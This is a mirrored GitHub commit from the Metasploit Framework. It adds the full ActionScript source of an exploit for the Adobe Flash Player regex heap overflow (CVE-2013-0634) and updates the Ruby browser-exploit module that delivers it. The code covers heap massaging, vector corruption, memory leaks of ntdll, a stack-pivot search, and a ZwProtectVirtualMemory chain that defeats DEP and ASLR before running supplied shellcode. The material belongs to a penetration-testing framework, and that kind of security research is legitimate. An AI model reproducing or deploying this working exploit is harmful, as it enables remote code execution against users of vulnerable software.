1
mirror of https://github.com/rapid7/metasploit-framework synced 2024-07-18 18:31:41 +02:00

Beautify and fix both ruby an AS

This commit is contained in:
jvazquez-r7 2014-04-17 23:32:29 -05:00
parent 91d9f9ea7f
commit acb12a8bef
3 changed files with 583 additions and 20 deletions

View File

@ -0,0 +1,545 @@
// Compile with: mxmlc exploit.as -o exploit.swf
package
{
import flash.display.Sprite;
import flash.media.Sound;
import flash.utils.ByteArray;
import __AS3__.vec.Vector;
import flash.display.LoaderInfo;
import flash.system.Capabilities;
import flash.utils.Endian;
import __AS3__.vec.*;
import flash.utils.*;
import flash.display.*;
import flash.media.*;
import flash.system.*;
import flash.external.*;
import flash.net.*;
public class exploit extends Sprite
{
public var flash_version:Number;
public var sound_object:Sound;
public var byte_array:ByteArray;
public var massaged_memory:Vector.<Object>;
public var vector_object_offset_4:uint; // For overwritting and restoring purposes; float in memory needs 8 bytes
public var TweakedVector:Vector.<Number>;
public var TweakedVector_address:uint;
public var sound_address:uint;
public var sound_address_vtable:uint;
public var sound_address_offset_4:uint; // For overwritting and restoring purposes; float in memory needs 8 bytes
public var byte_array_data_address:uint;
public var ntdll_base:uint;
public var ntdll_pe_file_header:uint;
public var stack_pivot:uint;
public var virtual_alloc_address:uint;
public var last_leaked_address:uint;
public var last_leak:Vector.<uint>;
public function exploit():void
{
this.sound_object = new Sound();
this.byte_array = new ByteArray();
this.massaged_memory = new Vector.<Object>(0);
this.last_leak = new Vector.<uint>(2);
super();
var loader:LoaderInfo = LoaderInfo(this.root.loaderInfo);
var shellcode:String = ((loader.parameters.hasOwnProperty("his")) ? loader.parameters["his"] : null);
if (shellcode == null){
return;
};
if (!this.CheckVersion()){
return;
};
this.ExploitIt(shellcode);
this.Restore();
}
public function CheckVersion():Boolean
{
var capabilities:* = Capabilities.version.toLowerCase().split(" ");
if (capabilities[0] != "win"){
return (false);
};
this.flash_version = Number(capabilities[1].substr(0, 4).split(",").join(""));
if ((((this.flash_version < 110)) && ((this.flash_version > 115)))){
return (false);
};
return (true);
}
public function PrepareMemoryAndOverflow():RegExp
{
var index:uint;
var tmp_vector:Vector.<Object>;
index = 0;
while (index < 0x4000) {
tmp_vector = new Vector.<Object>(16);
tmp_vector[0] = new RegExp("sdfhefbwjghfewtyfnwgvwgbvhwasfgsvrtvcrgeeg", "");
tmp_vector[1] = this.CreateVectorSixteenNumbers();
tmp_vector[2] = this.CreateVectorSixteenNumbers();
tmp_vector[3] = this.CreateVectorSixteenNumbers();
tmp_vector[4] = this.CreateVectorSixteenNumbers();
tmp_vector[5] = this.CreateVectorSixteenNumbers();
tmp_vector[6] = this.CreateVectorSixteenNumbers();
tmp_vector[7] = this.CreateVectorSixteenNumbers();
tmp_vector[8] = this.CreateVectorSixteenNumbers();
tmp_vector[9] = this.CreateVectorThirtyTwoObjects();
tmp_vector[10] = this.CreateVectorThirtyTwoObjects();
tmp_vector[11] = this.CreateVectorThirtyTwoObjects();
tmp_vector[12] = this.CreateVectorThirtyTwoObjects();
tmp_vector[13] = this.CreateVectorThirtyTwoObjects();
tmp_vector[14] = this.CreateVectorThirtyTwoObjects();
tmp_vector[15] = this.CreateVectorThirtyTwoObjects();
this.massaged_memory[index] = tmp_vector;
index++;
};
index = 0x2000;
// Make some holes
while (index < 0x3fff) {
if ((index % 2) != 0){
this.massaged_memory[index][2] = null;
};
index++;
};
// Hopefully reuse a hole and overflow a tmp_vector[3] field
return (new RegExp("(?i)()()(?-i)||||||||||||||||||||||", ""));
}
public function SearchOverflowedTweakAndRestore():Boolean
{
var index:uint;
var numbers_vector_index:uint;
var overflowed_vector:Vector.<Number>;
var fingerprint:Number;
index = 0;
_loop_1:
while (index < 0x4000) {
numbers_vector_index = 1;
while (numbers_vector_index < 9) {
try {
// If the length is bigger than 17, the vector's length has been overflowed
if ((this.massaged_memory[index][numbers_vector_index] as Vector.<Number>).length > 17){
overflowed_vector = (this.massaged_memory[index][numbers_vector_index] as Vector.<Number>);
if (this.ReadTwoUint(overflowed_vector, 17)[0] == 16) {
break _loop_1;
}
return (false);
};
} catch(e:Error) {
};
numbers_vector_index++;
};
index++;
};
if (overflowed_vector){
this.vector_object_offset_4 = this.ReadTwoUint(overflowed_vector, 17)[1];
// Overwrite the length of the vector following the overflowed one:
// reused hole (vector) ==> overflowed vector ==> corrupted (tweaked) vector
overflowed_vector[17] = this.TwoUintToFloat(0xFFFFFFFE, this.vector_object_offset_4);
// corrupts the first position of the corrupted (tweaked) vector, so we can find it
// in the future easily.
fingerprint = (overflowed_vector[18] = this.TwoUintToFloat(0x41414141, 0));
index = 0;
while (index < 0x4000) {
numbers_vector_index = 1;
while (numbers_vector_index < 9) {
try {
// restore the overflowed vector's length
if ((this.massaged_memory[index][numbers_vector_index] as Vector.<Number>)[0] == fingerprint){
this.TweakedVector = (this.massaged_memory[index][numbers_vector_index] as Vector.<Number>);
this.TweakedVector[0x1fffffed] = this.TwoUintToFloat(16, this.vector_object_offset_4);
return (true);
};
} catch(e:Error) {
};
numbers_vector_index++;
};
index++;
};
};
return (false);
}
public function Restore():void
{
try {
if (((this.TweakedVector) && (this.vector_object_offset_4))){
if (((this.sound_address) && (this.sound_address_vtable))){
this.OverwriteAddress(this.sound_address, this.sound_address_vtable, this.sound_address_offset_4);
};
this.TweakedVector[0x1fffffff] = this.TwoUintToFloat(16, this.vector_object_offset_4);
return;
};
} catch(e:Error) {
};
do {
} while (1);
}
public function GetAddressTweakedVector():Boolean
{
var index:uint;
var index_numbers_vectors:uint;
var tweaked_next:Vector.<uint>;
var tweaked_next_next:Vector.<uint>;
try {
index = 0;
// Nullify (free) number vectors who aren't the tweaked one
while (index < 0x4000) {
index_numbers_vectors = 1;
while (index_numbers_vectors < 9) {
if (this.massaged_memory[index][index_numbers_vectors] != this.TweakedVector){
this.massaged_memory[index][index_numbers_vectors] = null;
};
index_numbers_vectors++;
};
index++;
};
index = 1;
while (index < 4) {
tweaked_next = this.ReadTwoUint(this.TweakedVector, ((17 * index) + (index - 1)));
tweaked_next_next = this.ReadTwoUint(this.TweakedVector, ((17 * (index + 1)) + index));
// Verify that after the tweaked vector there are two more number vectors
// With the tweaked vector it is kinda easy to disclose its own address, becasuse
// Flash links vectors, so there are pointers.
if ((((((((((tweaked_next[1] == this.vector_object_offset_4)) && ((tweaked_next_next[1] == this.vector_object_offset_4)))) && ((tweaked_next[1] < tweaked_next[0])))) && ((tweaked_next_next[1] < tweaked_next_next[0])))) && (((tweaked_next_next[0] - tweaked_next[0]) == 144)))){
this.TweakedVector_address = (tweaked_next[0] - (144 * (index + 1)));
return (true);
};
index++;
};
} catch(e:Error) {
};
return (false);
}
public function LeakObjectAddresses():Boolean
{
var one_signature:Number;
var i:uint;
var objects_leak:Vector.<uint>;
var byte_array_address:uint;
try {
one_signature = this.TwoUintToFloat(1, 1); // to match nil entries
i = 0;
while (i < 0x1000) {
// Search first objects vector entry from the tweaked one (from the massaged memory...)
if ((((this.ReadTwoUint(this.TweakedVector, i)[1] == 32)) && ((this.TweakedVector[(i + 1)] == one_signature)))){
//objects_leak[0] => ByteArray object
//objects_leak[1] => Sound object
objects_leak = this.ReadTwoUint(this.TweakedVector, (i + 2));
this.sound_address = (objects_leak[0] & 0xFFFFFFF8);
this.sound_address_vtable = this.Leak(this.sound_address, true);
this.sound_address_offset_4 = this.Leak((this.sound_address + 4), true);
byte_array_address = (objects_leak[1] & 0xFFFFFFF8);
if (this.flash_version < 114){
this.byte_array_data_address = this.Leak((byte_array_address + 56), true);
} else {
byte_array_address = this.Leak((byte_array_address + 64), true);
this.byte_array_data_address = this.Leak((byte_array_address + 8), true);
};
return (true);
};
i++;
};
} catch(e:Error) {
};
return (false);
}
public function Leak(address:uint, align:Boolean):uint
{
var eigth_byte_aligned:uint;
if (align) {
eigth_byte_aligned = ((((address % 8) == 0)) ? 0 : 1);
} else {
eigth_byte_aligned = 0;
}
if (eigth_byte_aligned){
address = (address - 4);
};
if (this.last_leaked_address == address){
return (this.last_leak[eigth_byte_aligned]);
};
var _local_3:uint = (((address - this.TweakedVector_address) - 8) / 8);
this.last_leaked_address = address;
this.last_leak = this.ReadTwoUint(this.TweakedVector, _local_3);
return (this.last_leak[eigth_byte_aligned]);
}
public function OverwriteAddress(address:uint, value1:uint, value2:uint):void
{
var address_trough_tweaked:uint = (((address - this.TweakedVector_address) - 8) / 8);
this.TweakedVector[address_trough_tweaked] = this.TwoUintToFloat(value1, value2);
}
public function LeakNtdll():Boolean
{
var ntdll_address:uint;
var KiFastSystemCall_address:uint;
var pe_file_header_address:uint;
try {
//KiFastSystemCallRet
KiFastSystemCall_address = this.Leak(0x7FFE0300, true);
if (KiFastSystemCall_address == 0){
KiFastSystemCall_address = this.Leak(0x7ffe0340, true);
};
if (KiFastSystemCall_address){
KiFastSystemCall_address = (KiFastSystemCall_address & 0xFFFF0000);
while (1) {
if ((this.Leak(KiFastSystemCall_address, true) & 0xFFFF) == 0x5a4d){ // PE signature
ntdll_address = KiFastSystemCall_address;
break;
};
KiFastSystemCall_address = (KiFastSystemCall_address - 65536);
};
if (ntdll_address){
pe_file_header_address = (ntdll_address + this.Leak((ntdll_address + 0x3c), true));
if (this.Leak(pe_file_header_address, true) == 0x4550){ // NT Header
this.ntdll_base = ntdll_address;
this.ntdll_pe_file_header = pe_file_header_address;
return (true);
};
};
};
} catch(e:Error) {
};
return (false);
}
public function GetUint(_arg_1:uint, _arg_2:uint, _arg_3:uint):uint
{
var _local_4:uint = (_arg_1 >>> (8 * _arg_3));
var _local_5:uint = (((_arg_3 == 0)) ? 0 : (_arg_2 << ((4 - _arg_3) * 8)));
return ((_local_5 | _local_4));
}
public function FindStackPivot():Boolean
{
var ntdll_size_of_code:uint;
var ntdll_base_of_code:uint;
var instr:uint;
var offset:uint;
var next_instr:uint;
var instr_offset:uint;
try {
ntdll_size_of_code = this.Leak((this.ntdll_pe_file_header + 0x1c), true);
ntdll_base_of_code = this.Leak((this.ntdll_pe_file_header + 0x2c), true);
if (((ntdll_size_of_code) && (ntdll_base_of_code))){
ntdll_base_of_code = (ntdll_base_of_code + this.ntdll_base);
instr = this.Leak(ntdll_base_of_code, true);
offset = 4;
while (offset < ntdll_size_of_code) {
next_instr = this.Leak((ntdll_base_of_code + offset), true);
instr_offset = 0;
while (instr_offset < 4) {
if ((this.GetUint(instr, next_instr, instr_offset) & 0xFFFF) == 0xc394){ // xcht esp, eax ; ret # 94 c3
this.stack_pivot = (((ntdll_base_of_code + offset) - 4) + instr_offset);
return (true);
};
instr_offset++;
};
instr = next_instr;
offset = (offset + 4);
};
};
} catch(e:Error) {
};
return (false);
}
public function Match(address:uint, signature:Vector.<uint>, offset:uint):Boolean
{
var content_next:uint;
var content:uint = this.Leak(address, true);
var i:uint;
while (i < signature.length) {
content_next = this.Leak((address + ((i + 1) * 4)), true);
if (this.GetUint(content, content_next, offset) != signature[i]){
return (false);
};
content = content_next;
i++;
};
return (true);
}
public function LeakVirtualProtect():Boolean
{
var exports_address:uint;
var virtual_protect_signature:Vector.<uint>;
var n_functions:uint;
var ptrs_entry:uint;
var ptrs_name:uint;
var ptrs_ordinal:uint;
var i:uint;
var export_name_entry:uint;
var offset_export_name_entry:uint;
var _local_10:uint;
try {
exports_address = this.Leak((this.ntdll_pe_file_header + 0x78), true); // Export Data Directory Offset
if (exports_address){
exports_address = (exports_address + this.ntdll_base);
virtual_protect_signature = new <uint>[0x7250775a, 0x6365746f, 0x72695674]; // ZwProtectVir ; It's searching for ZwProtectVirtualMemory
n_functions = this.Leak((exports_address + 24), true);
ptrs_entry = this.Leak((exports_address + 28), true);
ptrs_name = this.Leak((exports_address + 32), true);
ptrs_ordinal = this.Leak((exports_address + 36), true);
if (((((((n_functions) && (ptrs_entry))) && (ptrs_name))) && (ptrs_ordinal))){
ptrs_entry = (ptrs_entry + this.ntdll_base);
ptrs_name = (ptrs_name + this.ntdll_base);
ptrs_ordinal = (ptrs_ordinal + this.ntdll_base);
i = 0;
while (i < n_functions) {
export_name_entry = this.Leak((ptrs_name + (i * 4)), true);
if (export_name_entry){
export_name_entry = (export_name_entry + this.ntdll_base);
offset_export_name_entry = (export_name_entry % 4);
export_name_entry = (export_name_entry - offset_export_name_entry);
if (this.Match(export_name_entry, virtual_protect_signature, offset_export_name_entry)){
_local_10 = this.Leak((ptrs_ordinal + ((i / 2) * 4)), false);
if ((i % 2)){
_local_10 = (_local_10 >>> 16);
};
this.virtual_alloc_address = (this.ntdll_base + this.Leak((ptrs_entry + ((_local_10 & 0xFFFF) * 4)), true));
return (true);
};
};
i++;
};
};
};
} catch(e:Error) {
};
return (false);
}
public function ExploitIt(shellcode:String):void
{
var not_used:* = this.PrepareMemoryAndOverflow();
if (!this.SearchOverflowedTweakAndRestore()){
return;
};
if (!this.GetAddressTweakedVector()){
return;
};
if (!this.LeakNtdll()){
return;
};
if (!this.FindStackPivot()){
return;
};
if (!this.LeakVirtualProtect()){
return;
};
var i:uint;
while (i < 0x19000) {
this.byte_array.writeUnsignedInt(0x41424344);
i++;
};
this.byte_array.endian = Endian.LITTLE_ENDIAN;
var init_pos:uint = this.byte_array.position;
// Write shellcode into the byte array
this.byte_array.position = (init_pos + 136);
this.write_into_byte_array(this.byte_array, shellcode);
// Write stack pivot into the byte array
this.byte_array.position = (init_pos + 112);
this.byte_array.writeUnsignedInt(this.stack_pivot);
if (!this.LeakObjectAddresses()){
return;
};
this.byte_array_data_address = (this.byte_array_data_address + init_pos);
this.byte_array.position = init_pos;
// build ZwProtectVirtualMemory "return to ntdll attack" to bypass DEP
this.byte_array.writeUnsignedInt(this.virtual_alloc_address); // ZwProtectVirtualMemory
this.byte_array.writeUnsignedInt((this.byte_array_data_address + 136)); // ret (shellcode address)
this.byte_array.writeUnsignedInt(0xFFFFFFFF); // ProcessHandle
this.byte_array.writeUnsignedInt((this.byte_array_data_address + 28)); // BaseAddress
this.byte_array.writeUnsignedInt((this.byte_array_data_address + 32)); // NumberOfBytesToProtect
this.byte_array.writeUnsignedInt(64); // NewAccessProtection
this.byte_array.writeUnsignedInt((this.byte_array_data_address + 36)); // OldAccessProtection
this.byte_array.writeUnsignedInt(this.byte_array_data_address); // this.byte_array_data_address + 28
this.byte_array.writeUnsignedInt(0x1000); // this.byte_array_data_address + 32
this.byte_array.writeUnsignedInt(0x41424344); // this.byte_array_data_address + 36
// Overwrite Sound...
this.OverwriteAddress(this.sound_address, this.byte_array_data_address, this.sound_address_offset_4);
// Make it happen!
new Number(this.sound_object.toString());
}
private function write_into_byte_array(byte_array:ByteArray, string:String):void
{
var _local_4:String;
var _local_5:int;
var _local_3:int;
while (_local_3 < string.length) {
_local_4 = string.substr(_local_3, 2);
_local_5 = parseInt(_local_4, 16);
byte_array.writeByte(_local_5);
_local_3 = (_local_3 + 2);
};
}
private function TwoUintToFloat(_arg_1:uint, _arg_2:uint):Number
{
var result_float:ByteArray = new ByteArray();
result_float.endian = Endian.LITTLE_ENDIAN;
result_float.writeInt(_arg_1);
result_float.writeInt(_arg_2);
result_float.position = 0;
return (result_float.readDouble());
}
// vector is a Float vectors
// index is the position to read from the vector
// read the vector[index] float i retorna els dos enters
// ocupant les dues posiciones
private function ReadTwoUint(vector:Vector.<Number>, index:uint):Vector.<uint>
{
var byte_array:ByteArray = new ByteArray();
byte_array.endian = Endian.BIG_ENDIAN;
byte_array.writeDouble(vector[index]);
var vector_uint:Vector.<uint> = new Vector.<uint>(2);
byte_array.position = 0;
vector_uint[1] = byte_array.readUnsignedInt();
vector_uint[0] = byte_array.readUnsignedInt();
return (vector_uint);
}
private function CreateVectorThirtyTwoObjects():Vector.<Object>
{
var vector:* = new Vector.<Object>(32);
vector[0] = null;
vector[1] = null;
vector[2] = this.sound_object;
vector[3] = this.byte_array;
return (vector);
}
private function CreateVectorSixteenNumbers():Vector.<Number>
{
var vector:* = new Vector.<Number>(16);
vector[0] = 0;
vector[15] = 1;
return (vector);
}
}
}

View File

@ -12,20 +12,23 @@ class Metasploit3 < Msf::Exploit::Remote
def initialize(info={})
super(update_info(info,
'Name' => "Adobe Flash Player 11.5 Remote Memory Corruption",
'Name' => "Adobe Flash Player Regular Expression Heap Overflow",
'Description' => %q{
This module exploits a vulnerability found in the ActiveX component of Adobe
Flash Player before 11.5.502.149. By supplying a specially crafted swf file
with special regex value, it is possible to trigger an memory corruption, which
results in remote code execution under the context of the user. This
vulnerability has also been exploited in the wild in February 2013.
results in remote code execution under the context of the user, as exploited in
the wild in February 2013. This module has been tested successfully with Adobe
Flash Player 11.5 before 11.5.502.149 on Windows XP SP3 and Windows 7 SP1 before
MS13-063, since it takes advantage of a predictable SharedUserData in order to
leak ntdll and bypass ASLR.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Unknown', # malware sample
'Boris "dukeBarman" Ryutin', # msf exploit
'juan vazquez' # ActionScript deobfuscation
'juan vazquez' # ActionScript deobfuscation and cleaning
],
'References' =>
[
@ -45,7 +48,8 @@ class Metasploit3 < Msf::Exploit::Remote
},
'DefaultOptions' =>
{
'InitialAutoRunScript' => 'migrate -f'
'InitialAutoRunScript' => 'migrate -f',
'Retries' => false
},
'Platform' => 'win',
'BrowserRequirements' =>
@ -66,38 +70,52 @@ class Metasploit3 < Msf::Exploit::Remote
'DefaultTarget' => 0))
end
def on_request_exploit(cli, request, target_info)
print_status("request: #{request.uri}")
if request.uri.match(/\.swf$/i)
print_status("Sending SWF")
send_response(cli, generate_swf, { 'Content-Type'=>'application/x-shockwave-flash' })
else
print_status("Sending HTML")
send_response_html(cli, generate_html(target_info))
end
def exploit
@swf = create_swf
super
end
def generate_html(target_info)
def on_request_exploit(cli, request, target_info)
print_status("Request: #{request.uri}")
if request.uri =~ /\.swf$/
print_status("Sending SWF...")
send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Pragma' => 'no-cache'})
return
end
print_status("Sending HTML...")
tag = retrieve_tag(cli, request)
profile = get_profile(tag)
profile[:tried] = false unless profile.nil? # to allow request the swf
send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'})
end
def exploit_template(cli, target_info)
swf_random = "#{rand_text_alpha(4 + rand(3))}.swf"
shellcode = get_payload(cli, target_info).unpack("H*")[0]
%Q|<html>
html_template = %Q|<html>
<body>
<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" />
<param name="movie" value="#{get_module_uri}/Main.swf" />
<param name="movie" value="<%=swf_random%>" />
<param name="allowScriptAccess" value="always" />
<param name="FlashVars" value="his=#{shellcode}" />
<param name="FlashVars" value="his=<%=shellcode%>" />
<param name="Play" value="true" />
</object>
</body>
</html>
|
return html_template, binding()
end
def generate_swf
def create_swf
path = ::File.join( Msf::Config.data_directory, "exploits", "CVE-2013-0634", "exploit.swf" )
swf = ::File.open(path, 'rb') { |f| swf = f.read }
return swf
swf
end
end